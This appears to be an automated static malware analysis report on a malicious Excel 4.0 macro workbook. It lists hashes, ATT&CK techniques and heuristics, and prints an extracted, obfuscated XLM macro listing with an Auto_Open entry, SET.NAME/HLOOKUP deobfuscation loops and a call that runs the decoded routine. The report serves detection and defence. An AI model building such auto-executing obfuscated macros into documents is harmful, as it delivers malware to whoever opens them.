Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9416e17d1945483…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:30 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 6a6431b09fca12dcee33fade92f8da1a SHA-1: 5ed2aeca847a9f095a4dec0b0916b9578a8ca9ad SHA-256: a9416e17d1945483825dfc26bd9a193a4b89049fe67b8914e646c88da6b2dc39
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook detected with critical heuristics for OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN. This indicates the presence of an Auto_Open macro designed to execute dangerous functions, which is a common technique for downloading and executing malicious payloads. The specific dangerous function identified is 'RUN'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6718 bytes
SHA-256: ca770505f9298a7612c13cd7e94f3867160f9ec263c7581d4979265e54cbef7e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fLvHLEoO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I135 
' 0018     22 LABEL : Cell Value, String Constant - CqoWdBG len=0 
' 0018     20 LABEL : Cell Value, String Constant - CWqdE len=0 
' 0018     26 LABEL : Cell Value, String Constant - eqxajrLPzkT len=0 
' 0018     21 LABEL : Cell Value, String Constant - FFZppf len=0 
' 0018     27 LABEL : Cell Value, String Constant - fNBPvCpqydrQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - kKheBNYihhT len=0 
' 0018     24 LABEL : Cell Value, String Constant - LujivPKkg len=0 
' 0018     23 LABEL : Cell Value, String Constant - MQGbhYlf len=0 
' 0018     27 LABEL : Cell Value, String Constant - MyOVSHsGSQaB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ONKXIy len=0 
' 0018     20 LABEL : Cell Value, String Constant - pkZqc len=0 
' 0018     21 LABEL : Cell Value, String Constant - qyKFwp len=0 
' 0018     23 LABEL : Cell Value, String Constant - RBQngmiI len=0 
' 0018     25 LABEL : Cell Value, String Constant - rHHSRGrrXN len=0 
' 0018     26 LABEL : Cell Value, String Constant - uojmKofGoik len=0 
' 0018     21 LABEL : Cell Value, String Constant - UpxgbC len=0 
' 0018     25 LABEL : Cell Value, String Constant - WTgCSXQUel len=0 
' 0018     24 LABEL : Cell Value, String Constant - wXEDFPjes len=0 
' 0018     20 LABEL : Cell Value, String Constant - zfgbZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - zsYuzEoA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fLvHLEoO,I51,"SET.NAME("pkZqc",0+VALUE("0"))",""
'  fLvHLEoO,I54,"SET.NAME("wXEDFPjes",pkZqc)",""
'  fLvHLEoO,I58,"SET.NAME("CWqdE",pkZqc)",""
'  fLvHLEoO,I60,"SET.NAME("zfgbZ",COUNTA(qyKFwp))",""
'  fLvHLEoO,I62,"SET.NAME("CqoWdBG",COUNTA(MQGbhYlf))",""
'  fLvHLEoO,I64,[],""
'  fLvHLEoO,I68,"SET.NAME("WTgCSXQUel","")",""
'  fLvHLEoO,I70,"wXEDFPjes",""
'  fLvHLEoO,P73,"",605.00000000000000000000
'  fLvHLEoO,P74,"",846.00000000000000000000
'  fLvHLEoO,I75,"SET.NAME("FFZppf",HLOOKUP("*",qyKFwp,wXEDFPjes,FALSE))",""
'  fLvHLEoO,P75,"",-825.00000000000000000000
'  fLvHLEoO,P76,"",841.00000000000000000000
'  fLvHLEoO,P77,"",-564.00000000000000000000
'  fLvHLEoO,P78,"",516.00000000000000000000
'  fLvHLEoO,I79,"UpxgbC",""
'  fLvHLEoO,I81,"SET.NAME("uojmKofGoik",pkZqc)",""
'  fLvHLEoO,I83,[],""
'  fLvHLEoO,I85,"uojmKofGoik",""
'  fLvHLEoO,I90,"zsYuzEoA",""
'  fLvHLEoO,I94,"MyOVSHsGSQaB",""
'  fLvHLEoO,I96,"rHHSRGrrXN",""
'  fLvHLEoO,I98,"SET.NAME("eqxajrLPzkT",VALUE(HLOOKUP("*",MQGbhYlf,rHHSRGrrXN,FALSE)))",""
'  fLvHLEoO,I102,"LujivPKkg",""
'  fLvHLEoO,I107,"WTgCSXQUel",""
'  fLvHLEoO,I109,"CWqdE",""
'  fLvHLEoO,I112,NEXT(),""
'  fLvHLEoO,I114,"RBQngmiI",""
'  fLvHLEoO,I119,[],""
'  fLvHLEoO,I122,"kKheBNYihhT",""
'  fLvHLEoO,I127,NEXT(),""
'  fLvHLEoO,I131,RETURN(),""
'  fLvHLEoO,I160,"SET.NAME("ONKXIy",I51)",""
'  fLvHLEoO,I164,"qyKFwp",""
'  fLvHLEoO,I166,"SET.NAME("MQGbhYlf",R72C12)",""
'  fLvHLEoO,I169,"SET.NAME("kKheBNYihhT",176)",""
'  fLvHLEoO,I173,"SET.NAME("fNBPvCpqydrQ",9)",""
'  fLvHLEoO,I175,ONKXIy(),""
'  fLvHLEoO,I176,HALT(),""

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